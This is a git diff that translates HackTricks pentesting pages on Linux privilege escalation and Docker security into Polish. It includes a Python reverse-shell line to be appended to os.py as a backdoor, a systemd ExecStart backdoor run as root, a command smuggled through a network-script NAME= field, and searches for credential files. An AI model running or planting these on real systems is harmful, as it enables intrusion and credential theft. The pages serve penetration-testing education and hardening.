```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` - -For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines: - +Na przykład, jeśli maszyna działa na serwerze **tomcat** i możesz **zmodyfikować plik konfiguracyjny usługi Tomcat w /etc/systemd/,** wtedy możesz zmodyfikować linie: ``` ExecStart=/path/to/backdoor User=root Group=root ``` +Twoja tylna furtka zostanie uruchomiona przy następnym uruchomieniu tomcat. -Your backdoor will be executed the next time that tomcat is started. - -### Check Folders - -The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) +### Sprawdź foldery +Następujące foldery mogą zawierać kopie zapasowe lub interesujące informacje: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Prawdopodobnie nie będziesz w stanie odczytać ostatniego, ale spróbuj) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` - -### Weird Location/Owned files - +### Dziwne lokalizacje/Posiadane pliki ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1450,77 +1243,59 @@ find / -type f -user root ! -perm -o=r 2>/dev/null find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null #Writable files by each group I belong to for g in `groups`; - do printf " Group $g:\n"; - find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null - done +do printf " Group $g:\n"; +find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null +done done ``` - -### Modified files in last mins - +### Zmodyfikowane pliki w ostatnich minutach ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` - -### Sqlite DB files - +### Pliki bazy danych Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` - -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files - +### \*\_historia, .sudo_as_admin_successful, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml pliki ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` - -### Hidden files - +### Ukryte pliki ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` - -### **Script/Binaries in PATH** - +### **Skrypty/Binary w PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` - -### **Web files** - +### **Pliki webowe** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` - -### **Backups** - +### **Kopie zapasowe** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` +### Znane pliki zawierające hasła -### Known files containing passwords +Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), który przeszukuje **kilka możliwych plików, które mogą zawierać hasła**.\ +**Innym interesującym narzędziem**, które możesz użyć do tego celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), które jest aplikacją open source używaną do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla systemów Windows, Linux i Mac. -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ -**Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. - -### Logs - -If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\ -Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +### Dzienniki +Jeśli możesz czytać dzienniki, możesz być w stanie znaleźć **interesujące/poufne informacje w ich wnętrzu**. Im dziwniejszy jest dziennik, tym bardziej interesujący będzie (prawdopodobnie).\ +Ponadto, niektóre "**źle**" skonfigurowane (z backdoorem?) **dzienniki audytu** mogą pozwolić ci na **rejestrowanie haseł** w dziennikach audytu, jak wyjaśniono w tym poście: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` +Aby **czytać logi, grupa** [**adm**](interesting-groups-linux-pe/#adm-group) będzie naprawdę pomocna. -In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. - -### Shell files - +### Pliki powłoki ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1531,74 +1306,67 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` - ### Generic Creds Search/Regex -You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ -I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +Powinieneś również sprawdzić pliki zawierające słowo "**password**" w **nazwie** lub wewnątrz **treści**, a także sprawdzić IP i e-maile w logach, lub wyrażenia regularne dla hashy.\ +Nie zamierzam tutaj wymieniać, jak to wszystko zrobić, ale jeśli jesteś zainteresowany, możesz sprawdzić ostatnie kontrole, które wykonuje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Writable files ### Python library hijacking -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). - -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Jeśli wiesz, **skąd** skrypt pythonowy będzie wykonywany i **możesz pisać w** tym folderze lub **możesz modyfikować biblioteki pythonowe**, możesz zmodyfikować bibliotekę OS i wprowadzić do niej backdoora (jeśli możesz pisać tam, gdzie skrypt pythonowy będzie wykonywany, skopiuj i wklej bibliotekę os.py). +Aby **wprowadzić backdoora do biblioteki**, po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` +### Wykorzystanie logrotate -### Logrotate exploitation - -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +Luka w `logrotate` pozwala użytkownikom z **uprawnieniami do zapisu** w pliku dziennika lub jego katalogach nadrzędnych potencjalnie uzyskać podwyższone uprawnienia. Dzieje się tak, ponieważ `logrotate`, często działający jako **root**, może być manipulowany do wykonywania dowolnych plików, szczególnie w katalogach takich jak _**/etc/bash_completion.d/**_. Ważne jest, aby sprawdzić uprawnienia nie tylko w _/var/log_, ale także w każdym katalogu, w którym stosuje się rotację logów. > [!NOTE] -> This vulnerability affects `logrotate` version `3.18.0` and older +> Ta luka dotyczy wersji `logrotate` `3.18.0` i starszych -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Szczegółowe informacje na temat luki można znaleźć na tej stronie: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +Możesz wykorzystać tę lukę za pomocą [**logrotten**](https://github.com/whotwagner/logrotten). -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logi nginx),** więc za każdym razem, gdy stwierdzisz, że możesz zmieniać logi, sprawdź, kto zarządza tymi logami i sprawdź, czy możesz podnieść uprawnienia, zastępując logi dowiązaniami symbolicznymi. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referencja luki:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +Jeśli z jakiegokolwiek powodu użytkownik jest w stanie **zapisać** skrypt `ifcf-` do _/etc/sysconfig/network-scripts_ **lub** może **dostosować** istniejący, to twój **system jest przejęty**. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Skrypty sieciowe, takie jak _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są \~sourced\~ w systemie Linux przez Network Manager (dispatcher.d). -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. - -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **białą/pustą przestrzeń w nazwie, system próbuje wykonać część po białej/pustej przestrzeni**. Oznacza to, że **wszystko po pierwszej pustej przestrzeni jest wykonywane jako root**. +Na przykład: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +### **init, init.d, systemd i rc.d** -(_Note the blank space between Network and /bin/id_) +Katalog `/etc/init.d` jest domem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one wykonywane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`. -### **init, init.d, systemd, and rc.d** +Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy zgodności w Upstart. -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje, takie jak uruchamianie demonów na żądanie, zarządzanie automontowaniem i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, upraszczając proces administracji systemem. -On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +## Inne sztuczki -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. - -## Other Tricks - -### NFS Privilege escalation +### Eskalacja uprawnień NFS {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### Ucieczka z ograniczonych powłok {{#ref}} escaping-from-limited-bash.md @@ -1610,18 +1378,18 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Kernel Security Protections +## Ochrony bezpieczeństwa jądra - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Więcej pomocy -[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) +[Statyczne binaria impacket](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Tools +## Narzędzia Privesc Linux/Unix -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Najlepsze narzędzie do wyszukiwania wektorów eskalacji uprawnień lokalnych w Linuksie:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1631,10 +1399,10 @@ cisco-vmanage.md **Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (fizyczny dostęp):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Kompilacja więcej skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Odniesienia - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index d48f733d4..fc0bb0a56 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -2,56 +2,45 @@ {{#include ../../../banners/hacktricks-training.md}} -
+## **Podstawowe zabezpieczenia silnika Docker** -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - -## **Basic Docker Engine Security** - -The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions. +**Silnik Docker** wykorzystuje **Namespaces** i **Cgroups** jądra Linux do izolacji kontenerów, oferując podstawową warstwę zabezpieczeń. Dodatkową ochronę zapewniają **Capabilities dropping**, **Seccomp** oraz **SELinux/AppArmor**, co zwiększa izolację kontenerów. **Plugin autoryzacji** może dodatkowo ograniczyć działania użytkowników. ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) -### Secure Access to Docker Engine +### Bezpieczny dostęp do silnika Docker -The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication. - -The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings: +Silnik Docker można uzyskać lokalnie za pomocą gniazda Unix lub zdalnie przy użyciu HTTP. W przypadku dostępu zdalnego istotne jest stosowanie HTTPS i **TLS**, aby zapewnić poufność, integralność i uwierzytelnienie. +Silnik Docker, domyślnie, nasłuchuje na gnieździe Unix pod adresem `unix:///var/run/docker.sock`. W systemach Ubuntu opcje uruchamiania Dockera są definiowane w `/etc/default/docker`. Aby umożliwić zdalny dostęp do API Dockera i klienta, należy udostępnić demon Dockera przez gniazdo HTTP, dodając następujące ustawienia: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` +Jednakże, udostępnianie demona Docker przez HTTP nie jest zalecane z powodu obaw dotyczących bezpieczeństwa. Zaleca się zabezpieczenie połączeń za pomocą HTTPS. Istnieją dwa główne podejścia do zabezpieczania połączenia: -However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection: +1. Klient weryfikuje tożsamość serwera. +2. Klient i serwer wzajemnie uwierzytelniają swoją tożsamość. -1. The client verifies the server's identity. -2. Both the client and server mutually authenticate each other's identity. +Certyfikaty są wykorzystywane do potwierdzenia tożsamości serwera. Aby uzyskać szczegółowe przykłady obu metod, zapoznaj się z [**tym przewodnikiem**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). -Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). +### Bezpieczeństwo obrazów kontenerów -### Security of Container Images +Obrazy kontenerów mogą być przechowywane w prywatnych lub publicznych repozytoriach. Docker oferuje kilka opcji przechowywania obrazów kontenerów: -Container images can be stored in either private or public repositories. Docker offers several storage options for container images: +- [**Docker Hub**](https://hub.docker.com): Publiczna usługa rejestru od Docker. +- [**Docker Registry**](https://github.com/docker/distribution): Projekt open-source, który pozwala użytkownikom hostować własny rejestr. +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercyjna oferta rejestru Docker, z uwierzytelnianiem użytkowników opartym na rolach i integracją z usługami katalogowymi LDAP. -- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker. -- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry. -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services. +### Skanowanie obrazów -### Image Scanning +Kontenery mogą mieć **luki w zabezpieczeniach** zarówno z powodu obrazu bazowego, jak i z powodu oprogramowania zainstalowanego na obrazie bazowym. Docker pracuje nad projektem o nazwie **Nautilus**, który przeprowadza skanowanie bezpieczeństwa kontenerów i wymienia luki. Nautilus działa, porównując każdą warstwę obrazu kontenera z repozytorium luk, aby zidentyfikować luki w zabezpieczeniach. -Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. - -For more [**information read this**](https://docs.docker.com/engine/scan/). +Aby uzyskać więcej [**informacji, przeczytaj to**](https://docs.docker.com/engine/scan/). - **`docker scan`** -The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: - +Polecenie **`docker scan`** pozwala na skanowanie istniejących obrazów Docker za pomocą nazwy lub ID obrazu. Na przykład, uruchom następujące polecenie, aby przeskanować obraz hello-world: ```bash docker scan hello-world @@ -67,103 +56,82 @@ Licenses: enabled Note that we do not currently have vulnerability data for your image. ``` - - [**`trivy`**](https://github.com/aquasecurity/trivy) - ```bash trivy -q -f json : ``` - - [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli) - ```bash snyk container test --json-file-output= --severity-threshold=high ``` - - [**`clair-scanner`**](https://github.com/arminc/clair-scanner) - ```bash clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` +### Podpisywanie obrazów Docker -### Docker Image Signing +Podpisywanie obrazów Docker zapewnia bezpieczeństwo i integralność obrazów używanych w kontenerach. Oto skrócone wyjaśnienie: -Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation: - -- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io). -- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later. -- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). -- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error. -- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image. - -To back up your private keys, use the command: +- **Docker Content Trust** wykorzystuje projekt Notary, oparty na The Update Framework (TUF), do zarządzania podpisywaniem obrazów. Więcej informacji można znaleźć w [Notary](https://github.com/docker/notary) i [TUF](https://theupdateframework.github.io). +- Aby aktywować zaufanie do treści Docker, ustaw `export DOCKER_CONTENT_TRUST=1`. Ta funkcja jest domyślnie wyłączona w wersji Docker 1.10 i nowszych. +- Po włączeniu tej funkcji można pobierać tylko podpisane obrazy. Początkowe przesyłanie obrazu wymaga ustawienia haseł dla kluczy głównych i tagujących, a Docker obsługuje również Yubikey dla zwiększonego bezpieczeństwa. Więcej szczegółów można znaleźć [tutaj](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +- Próba pobrania niepodpisanego obrazu z włączonym zaufaniem do treści skutkuje błędem "No trust data for latest". +- Przy przesyłaniu obrazów po pierwszym, Docker prosi o hasło klucza repozytorium, aby podpisać obraz. +Aby wykonać kopię zapasową swoich prywatnych kluczy, użyj polecenia: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` +Kiedy zmieniasz hosty Docker, konieczne jest przeniesienie kluczy root i repozytoriów, aby utrzymać operacje. -When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations. - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - -## Containers Security Features +## Funkcje zabezpieczeń kontenerów
-Summary of Container Security Features +Podsumowanie funkcji zabezpieczeń kontenerów -**Main Process Isolation Features** +**Główne funkcje izolacji procesów** -In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts: +W środowiskach kontenerowych izolacja projektów i ich procesów jest kluczowa dla bezpieczeństwa i zarządzania zasobami. Oto uproszczone wyjaśnienie kluczowych pojęć: -**Namespaces** +**Przestrzenie nazw** -- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers. -- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does. -- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry. +- **Cel**: Zapewnienie izolacji zasobów, takich jak procesy, sieć i systemy plików. Szczególnie w Docker, przestrzenie nazw utrzymują procesy kontenera oddzielone od hosta i innych kontenerów. +- **Użycie `unshare`**: Komenda `unshare` (lub podstawowe wywołanie syscall) jest wykorzystywana do tworzenia nowych przestrzeni nazw, co zapewnia dodatkową warstwę izolacji. Jednak podczas gdy Kubernetes nie blokuje tego z natury, Docker to robi. +- **Ograniczenie**: Tworzenie nowych przestrzeni nazw nie pozwala procesowi na powrót do domyślnych przestrzeni nazw hosta. Aby przeniknąć do przestrzeni nazw hosta, zazwyczaj wymagany jest dostęp do katalogu `/proc` hosta, używając `nsenter` do wejścia. -**Control Groups (CGroups)** +**Grupy kontrolne (CGroups)** -- **Function**: Primarily used for allocating resources among processes. -- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access. +- **Funkcja**: Głównie używane do alokacji zasobów między procesami. +- **Aspekt bezpieczeństwa**: CGroups same w sobie nie oferują bezpieczeństwa izolacji, z wyjątkiem funkcji `release_agent`, która, jeśli jest źle skonfigurowana, może być potencjalnie wykorzystana do nieautoryzowanego dostępu. -**Capability Drop** +**Ograniczenie możliwości** -- **Importance**: It's a crucial security feature for process isolation. -- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions. - -These are the **remaining capabilities** after the process drop the others: +- **Znaczenie**: To kluczowa funkcja zabezpieczeń dla izolacji procesów. +- **Funkcjonalność**: Ogranicza działania, które proces root może wykonać, poprzez usunięcie niektórych możliwości. Nawet jeśli proces działa z uprawnieniami root, brak niezbędnych możliwości uniemożliwia mu wykonywanie uprzywilejowanych działań, ponieważ wywołania syscall zakończą się niepowodzeniem z powodu niewystarczających uprawnień. +To są **pozostałe możliwości** po usunięciu innych przez proces: ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` - **Seccomp** -It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\ -The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +Jest włączony domyślnie w Dockerze. Pomaga **jeszcze bardziej ograniczyć syscalls**, które proces może wywołać.\ +**Domyślny profil Seccomp Docker** można znaleźć w [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) **AppArmor** -Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Docker ma szablon, który możesz aktywować: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -This will allow to reduce capabilities, syscalls, access to files and folders... +To pozwoli na ograniczenie możliwości, syscalls, dostępu do plików i folderów...
### Namespaces -**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. +**Namespaces** to funkcja jądra Linux, która **dzieli zasoby jądra** w taki sposób, że jeden zestaw **procesów** **widzi** jeden zestaw **zasobów**, podczas gdy **inny** zestaw **procesów** widzi **inny** zestaw zasobów. Funkcja działa poprzez posiadanie tego samego namespace dla zestawu zasobów i procesów, ale te namespaces odnoszą się do odrębnych zasobów. Zasoby mogą istnieć w wielu przestrzeniach. -Docker makes use of the following Linux kernel Namespaces to achieve Container isolation: +Docker wykorzystuje następujące Namespaces jądra Linux do osiągnięcia izolacji kontenerów: - pid namespace - mount namespace @@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i - ipc namespace - UTS namespace -For **more information about the namespaces** check the following page: +Aby uzyskać **więcej informacji o namespaces**, sprawdź następującą stronę: {{#ref}} namespaces/ @@ -179,86 +147,81 @@ namespaces/ ### cgroups -Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create 